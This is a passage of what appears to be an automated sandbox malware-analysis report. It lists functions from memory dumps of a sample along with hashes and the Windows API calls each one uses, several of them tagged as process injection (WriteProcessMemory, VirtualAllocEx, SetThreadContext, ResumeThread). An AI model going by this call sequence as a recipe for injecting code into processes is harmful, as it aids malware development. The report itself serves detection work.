qy=B, xrefs: 018F5914
jA, xrefs: 018F4715
kB, xrefs: 018F4900
u3B, xrefs: 018F4E8A

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID: .@2A$A{LB$jbA$qy=B$jA$u3B$kB
API String ID: 0-501097176
Opcode ID: 7f6cb015c3c5cfd01fc2f4db2c365aa7b6b7ff7954bafcea9ecde6674432507e
Instruction ID: 14d214cc9cdaa5d32e78f30cd3051daaa8999f73e48b4a405999cdda04f06087
Opcode Fuzzy Hash: 7f6cb015c3c5cfd01fc2f4db2c365aa7b6b7ff7954bafcea9ecde6674432507e
Instruction Fuzzy Hash: C1E2A6B4A0024ACFDB05CF98D489FEEBFB1FB45314F0552A8D6046B326D7B5A985CB90

Function 05CE7388 Relevance: 1.8, APIs: 1, Instructions: 321processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05CE764F

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: de2887f788b7becff34bdb403ec368332109106c364494f85dec88c4b622e532
Instruction ID: 12a81cee979e7b64280d5e68d2e7a084b36b0cc3884a9cf86ca4dc7606e926d0
Opcode Fuzzy Hash: de2887f788b7becff34bdb403ec368332109106c364494f85dec88c4b622e532
Instruction Fuzzy Hash: 13C1FF70D002698FDF25CFA8C945BEEBBF1FB49300F1095A9E909A7240DB749A85CF94

Function 05CE6BF8 Relevance: 1.6, APIs: 1, Instructions: 119injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05CE6CD3

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9a8c3884047788491fabc0dfafdad1406ca525d3c28e293dc74577d41aedb201
Instruction ID: 32a51723584331f06697e748c386a60882655c7ad7def86fc6d565288d5f2558
Opcode Fuzzy Hash: 9a8c3884047788491fabc0dfafdad1406ca525d3c28e293dc74577d41aedb201
Instruction Fuzzy Hash: A841A9B5D012589FDF00CFA9D984ADEFBF1FB49310F24942AE819B7200D779AA45CB64

Function 05CE6C00 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05CE6CD3

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9983cbcdee3e7af0bb72c1e35260e8789937b0fb25c7908d338f9417f9a8915d
Instruction ID: 9c5d9dde062b0577552cda6ef9f8f44bc9f7a1cadf670a35789993ae009d56b1
Opcode Fuzzy Hash: 9983cbcdee3e7af0bb72c1e35260e8789937b0fb25c7908d338f9417f9a8915d
Instruction Fuzzy Hash: D0419AB5D012589FDF00CFA9D984ADEFBF1FB49310F24942AE419B7200D779AA45CB54

Function 05CE6D52 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05CE6E0A

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a8dee861b1ae89c36b70f1b4a2d0438273fa20de4167d9d9f54dab79b4e513ff
Instruction ID: 2be546d2ed670f126c5e7da240ef2528d516e3ef20fe9b3711e37a8028721f22
Opcode Fuzzy Hash: a8dee861b1ae89c36b70f1b4a2d0438273fa20de4167d9d9f54dab79b4e513ff
Instruction Fuzzy Hash: 0C41BAB5D04258DFCF00CFAAD981ADEFBB1BB59310F14942AE814B7240D775A941CF68

Function 05CE6D58 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05CE6E0A

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 21c226ba6689f53a0c72e53898e6792f56b2462ff378993fb943c16f4799db62
Instruction ID: 7cf522d47b55f3997b0f7106a3477bdb17b502ddfc361b0072acfcf2d3c37a30
Opcode Fuzzy Hash: 21c226ba6689f53a0c72e53898e6792f56b2462ff378993fb943c16f4799db62
Instruction Fuzzy Hash: 2641A7B5D04258DFCF10CFAAD880AEEFBB1BB59310F10A42AE815B7240D775A945CF68

Function 05CE6AD8 Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05CE6B8A

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 780720fb3422fa6b0f0866b9ec2e827c0821c57d7b81b6966e3e7305558b0ca2
Instruction ID: e01b17501f6320fd01c73a8904e46672a86c4ebb34e58fa7d55a69aff2caff9c
Opcode Fuzzy Hash: 780720fb3422fa6b0f0866b9ec2e827c0821c57d7b81b6966e3e7305558b0ca2
Instruction Fuzzy Hash: 2B31A8B5D01258DFCF10CFA9D981A9EFBB1BB59310F10A42AE814B7300D775A941CF58

Function 05CE6AE0 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05CE6B8A

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9e109dc7de4bc3ee9d812db226e2814e4fd228ab4799762dfef8e0ebddd18168
Instruction ID: eae5240af2969d301416e3f1f916b0810db10cba44787310a64367a257e6965f
Opcode Fuzzy Hash: 9e109dc7de4bc3ee9d812db226e2814e4fd228ab4799762dfef8e0ebddd18168
Instruction Fuzzy Hash: 0631A8B9D04258DFCF10CFA9D980A9EFBB1BF59310F10A42AE815BB200D775A941CF58

Function 05CE69B2 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05CE6A67

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b8856be8b5103a6e70173142ee14e2a2db7aa43d2c89f03ab48fde68d1f6043e
Instruction ID: 303caddc56990c847df37f757397ee508afe1b127e29d2bc0f72e95c0be52949
Opcode Fuzzy Hash: b8856be8b5103a6e70173142ee14e2a2db7aa43d2c89f03ab48fde68d1f6043e
Instruction Fuzzy Hash: 2E41EDB5D01218DFDB10CFAAD885AEEBBF1BF48310F24802AE405B7200C778A945CF54

Function 05CE69B8 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05CE6A67

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8502094f4a8006c5e5e4c3071b9397320a6bb5489e0053e6a0d81e0d47a73809
Instruction ID: 73859134e5b2b0214db478e3eb5ccbf4a86e81e5238e1b91b72b26780f1414b3
Opcode Fuzzy Hash: 8502094f4a8006c5e5e4c3071b9397320a6bb5489e0053e6a0d81e0d47a73809
Instruction Fuzzy Hash: 8631CBB5D01258DFDB10CFAAD885AEEBBF1BF48310F24842AE409B7200C778A985CF54

Function 05CE68C2 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05CE6946

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 296e1dae83dc2257f98c279bb419d74386942b89b6675cdc5e58df3a3661b601
Instruction ID: 4f20f0716b235a2c007cd2eb4b9cac442ded6f5905d94597c204ada3b5aee6f6
Opcode Fuzzy Hash: 296e1dae83dc2257f98c279bb419d74386942b89b6675cdc5e58df3a3661b601
Instruction Fuzzy Hash: 7D31CBB4D012599FDF10CFAAE981A9EFBB5BF49320F14942AE815B7300C775A941CF94

Function 05CE68C8 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05CE6946

Memory Dump Source

Source File: 00000004.00000002.2405156990.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5ce0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b6c0d2476e4b42f7c55df2f71214a0dc06b4c26e5cd75b414104cf1405f8611b
Instruction ID: 2d53d3808fdb9251ee5e528db8f096e3095d10124559cc73a98651b812bbf9b0
Opcode Fuzzy Hash: b6c0d2476e4b42f7c55df2f71214a0dc06b4c26e5cd75b414104cf1405f8611b
Instruction Fuzzy Hash: EE31CCB4D012199FDF10CFAAD981A9EFBB5BF48320F10942AE415B7300C775A941CF94

Function 015F9098 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d7db72fc02f6e04090a0d281f77f8c291378cfbb432bc5c8d50181afd4261f8
Instruction ID: f0ec518ea29599921c05489550d84a4e214a0de86fbf9819d50bb9a0d694f69c
Opcode Fuzzy Hash: 1d7db72fc02f6e04090a0d281f77f8c291378cfbb432bc5c8d50181afd4261f8
Instruction Fuzzy Hash: 44717D35A005188FDB15DF69D858AAD7BB6FF89715F14406DEA02AB395CA30DC41CBA0

Function 018FCB6A Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da1f364079201dbd14bb22b7814df9a83fb44320a73a41c89bf6a96009bf1d1
Instruction ID: 3e420f55ab348b00b9d2e8ac7b2732d151e534bc8114806bb3f81adbbda41ab9
Opcode Fuzzy Hash: 5da1f364079201dbd14bb22b7814df9a83fb44320a73a41c89bf6a96009bf1d1
Instruction Fuzzy Hash: 54A1B174D01268CFEB24DFA4D958BADBBB2FB48301F1081A9D50AA7355CB751E85CF22

Function 015FFA98 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8f92deed3f21c632c6ca24f6c1ac5c21049232d7a20fb9427d55670736048c4
Instruction ID: e8aeb57f324575cb37a27723334ec742791e55da246f98863d4c72d9ce2ce61f
Opcode Fuzzy Hash: a8f92deed3f21c632c6ca24f6c1ac5c21049232d7a20fb9427d55670736048c4
Instruction Fuzzy Hash: 5E61C274E00208DFDB04DFE9D854AADBBB2FF88300F24812AE919AB365DB716945CF50

Function 015F6C60 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 128b5c4523cb6f6321a0789e6e9cb18a49907b3753c4421b5fd74dfa7e0cb9b0
Instruction ID: e7f76ff3629fa913bad858e8151979fe5988a65152ec483ebeee2283675bf2fa
Opcode Fuzzy Hash: 128b5c4523cb6f6321a0789e6e9cb18a49907b3753c4421b5fd74dfa7e0cb9b0
Instruction Fuzzy Hash: 6B51DF74E00248DFDB05DFE9D894AEEBFB2FF89300F14802AE909AB265DB705945CB51

Function 015F982F Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d11b1e1c01b30709569b755f65a3ef1b22a88501313743abf312bd4ef4c3869
Instruction ID: d30fbde5c318f3a3ccfddc06cc0ceecf1faeeab9a08f867ab532a6b1cf22b517
Opcode Fuzzy Hash: 6d11b1e1c01b30709569b755f65a3ef1b22a88501313743abf312bd4ef4c3869
Instruction Fuzzy Hash: CC414A3460021ADFDF06AF69D954AAE7BB6FFC8354F148029F9059B294CF349C91CB90

Function 015F6F6B Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 407edaf1c9c5141237fe23d32d2ca0b73cfce63aa96b1c842f0105e555902210
Instruction ID: 94febccb73b35289589a4ed06cf90694bf17eb0d447d681d303e53de9f210d30
Opcode Fuzzy Hash: 407edaf1c9c5141237fe23d32d2ca0b73cfce63aa96b1c842f0105e555902210
Instruction Fuzzy Hash: 8641AE74E012099FDB58DFA9D480A9EBBF2FF89300F24846AE815B7364DB35A941CF54

Function 015F6F78 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a30961e31e46eeead1bb34164381636daf95a30569c9fcfc75cce6a685cd77f
Instruction ID: 0d02b7c74f4237598f69cbd3bc4a50878b936eee600079b6695611422fe943ee
Opcode Fuzzy Hash: 4a30961e31e46eeead1bb34164381636daf95a30569c9fcfc75cce6a685cd77f
Instruction Fuzzy Hash: 6441AE74E012099FDB58DFA9D4809DEBBF2BF88300F24802AD815B7364DB35A941CF54

Function 015FFCC2 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da314d588e684fe590c84ab10079dab72da07f8220f6a88cbb80743f1053c0ff
Instruction ID: f49612f27efc9ef573a80de51dd4706ca1c28425b929eaef23898ea53b3f8dac
Opcode Fuzzy Hash: da314d588e684fe590c84ab10079dab72da07f8220f6a88cbb80743f1053c0ff
Instruction Fuzzy Hash: 7E319C36D04208DBCF05DFA8D8409EDBFB2FF89300F20815AEA11AB266DA315845CF60

Function 015FFD80 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1d27c4658c278ff94bf365a7d1d13db469df670f1cad45778040e126c7185fb
Instruction ID: 6dcda6cb988197f9845d359e6b1a27a0db47f8355b51d4bd54a747bdbd53273a
Opcode Fuzzy Hash: d1d27c4658c278ff94bf365a7d1d13db469df670f1cad45778040e126c7185fb
Instruction Fuzzy Hash: ED218072A001199FCB159FADE8406EEBBB5FF89311F10846FE615EB251DB718911CBA0

Function 015F8BBF Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ce08083c298588bb8c88097b762f09c549db6282e32b5cdbe836a72bec07b3
Instruction ID: 1c74e90537573f792d07f754c4823afc9695d80cd6b6f725f1f04c3e806c7c72
Opcode Fuzzy Hash: a4ce08083c298588bb8c88097b762f09c549db6282e32b5cdbe836a72bec07b3
Instruction Fuzzy Hash: 9A21D134A18248AFE745AB74DC257AEBFB6EFD8740F10C469E505EF285DF3059058BA0

Function 015F8BD0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03b9029cfe92684485c9da7567a36809920c1aa419f6dcc11ef5e0381f943f4e
Instruction ID: a118e45a8ac509be09aaa51235b9ce8abc7276d14745f2f1372aa0c9720fb2a7
Opcode Fuzzy Hash: 03b9029cfe92684485c9da7567a36809920c1aa419f6dcc11ef5e0381f943f4e
Instruction Fuzzy Hash: CD21C334A04248AFE745AB75DC15BAE7BB6EFD8740F10C469E505DF285DF305D0587A0

Function 015F94F0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43dcd651e0b20cbe6cac4f162a8273586a4b9414f14946a2553f751bca704574
Instruction ID: 2d51978d5eb664281dafaf3befbedb279df7f85271b76975aaf8f658ede1d9dd
Opcode Fuzzy Hash: 43dcd651e0b20cbe6cac4f162a8273586a4b9414f14946a2553f751bca704574
Instruction Fuzzy Hash: B1219075A002468FDB11DF68C488A6E7FB1FF89214B0544AAEA05DF362D730DC81CBA1

Function 015F6E90 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2bd7290a6071d16575593f1c1f6770ccfd25385553fbee24e0e954d417e9f47
Instruction ID: 88755f75f966009336aa5d002b32efd9d5f18ec12140a20890bf610df22437cd
Opcode Fuzzy Hash: d2bd7290a6071d16575593f1c1f6770ccfd25385553fbee24e0e954d417e9f47
Instruction Fuzzy Hash: 1D21D674D0024A9FDB04DFAAC444AEEBBF1FF89304F149569DA14BB350EB74AA45CB90

Function 018FD0DF Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e15958cef50ad7df8121bc2d3997bac982e94036e8bf29daf72082eb1f0c72f
Instruction ID: fcff783df1926aa455af6d6569f9f35f82d572227ac83fd70ac5f0af869c7bca
Opcode Fuzzy Hash: 7e15958cef50ad7df8121bc2d3997bac982e94036e8bf29daf72082eb1f0c72f
Instruction Fuzzy Hash: D321B874A00259CFDB20CF9AD944B9EBBF1FB48311F059299D548EB211D774AE85CF50

Function 018FC9B8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f7a951495bdc85f1878e8621649947281ac3605a853088ea0c7d404fa7e29a4
Instruction ID: fae2dcf28d4745083041e5539bfcd9267034543f9459bc169efa038fca72f3cd
Opcode Fuzzy Hash: 0f7a951495bdc85f1878e8621649947281ac3605a853088ea0c7d404fa7e29a4
Instruction Fuzzy Hash: 52112874E046588FDB61CF69D840FEAB7B1AB95311F0041E9D508E3251DB325FA4CF41

Function 015F6E08 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94534c05346b31a2b068c8ddacc72e096c360dbf4166e20b7a5378421ff2b65f
Instruction ID: 24b78d54b9ff2523b1ab62f184f73d5229faa4b3b1d3e03ca8996aa34b23703e
Opcode Fuzzy Hash: 94534c05346b31a2b068c8ddacc72e096c360dbf4166e20b7a5378421ff2b65f
Instruction Fuzzy Hash: 981109B4D00219DFCB44DFA9D945AAEBBF1FB48300F1085AAC914E7351D7309A41CB91

Function 015F6E18 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e9ac4b1b4438c576d9339e24ff9c152e0685bd1a5573a37da419477e8e722f2
Instruction ID: 785cf07f9622c5403bc259b3153b5bcd5c94a1c64282fa5058f4f611a5da4b90
Opcode Fuzzy Hash: 9e9ac4b1b4438c576d9339e24ff9c152e0685bd1a5573a37da419477e8e722f2
Instruction Fuzzy Hash: 3B01A5B4D00209DFDB44DFAAD5446AEBBF1FF48310F2085AAD919A7355DB305A41CF91

Function 018FD2E0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba3ad53bc3ee3abf97f75260061786f967f795984c319cc02b48da630177c96
Instruction ID: ee226d74e00ffe00d09995072dd60fd8ebe5b370b1a946185d3f3c0c6e0cd05d
Opcode Fuzzy Hash: aba3ad53bc3ee3abf97f75260061786f967f795984c319cc02b48da630177c96
Instruction Fuzzy Hash: 2AF09A71C152499FDB1ADFA995053ADFBB1EF02215F0082AA9B08D3220E7709A858B51

Function 018FCF74 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3606c68983aa95718172fcb7d8e6780a3bf31fca7bd1464a9bfa761b40fde3a7
Instruction ID: d1415f77a976f4156bbcd5c05cdddd50ebe655baa1f4de80fd0e8d57d7c27ae8
Opcode Fuzzy Hash: 3606c68983aa95718172fcb7d8e6780a3bf31fca7bd1464a9bfa761b40fde3a7
Instruction Fuzzy Hash: 8E018F74845288DFC718CFA9D988EC9BFF0EB05304F1891DAD2189B212D3719B82CF61

Function 015F94DF Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dac32703a2cdb59bf1511a1419ae16b368f76560735b55c192bc09d70f296a4a
Instruction ID: bc25f3f7488007ef182c112336f5a7979f9d3fd3c7f89104e38e161fc3e45194
Opcode Fuzzy Hash: dac32703a2cdb59bf1511a1419ae16b368f76560735b55c192bc09d70f296a4a
Instruction Fuzzy Hash: 66E02B76505608ABCF121AA6F84D79B7FB8EF55264F048435FB00C7112EB709059C6B0

Function 015FFCF8 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396035402.00000000015F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_15f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 701e8e987f8e941639d0feb4916ed9ccdfc91ad689e9b81cbfd42d82185f195c
Instruction ID: 830f8bec918a96c09c35fd65b9f359843ab21ba0b96a8fc3fa6461af73a2186a
Opcode Fuzzy Hash: 701e8e987f8e941639d0feb4916ed9ccdfc91ad689e9b81cbfd42d82185f195c
Instruction Fuzzy Hash: 11E06576304258AB8F0A1E159814CBE3FAAEBCD222704C01AFD55C6250CA31C96197B1

Function 018FD2F0 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2396570249.00000000018F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_18f0000_fOzLadrzZNRnwv2woTdiFoXM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c699c5504b0b7b0d255824332958cfe27536c5fcec58e0a1b85cf16c048128f
Instruction ID: eb2544a34b8d388ec88ca5a4d45fb6ccfa7138e4b7a31eafbb806744bbc629cb
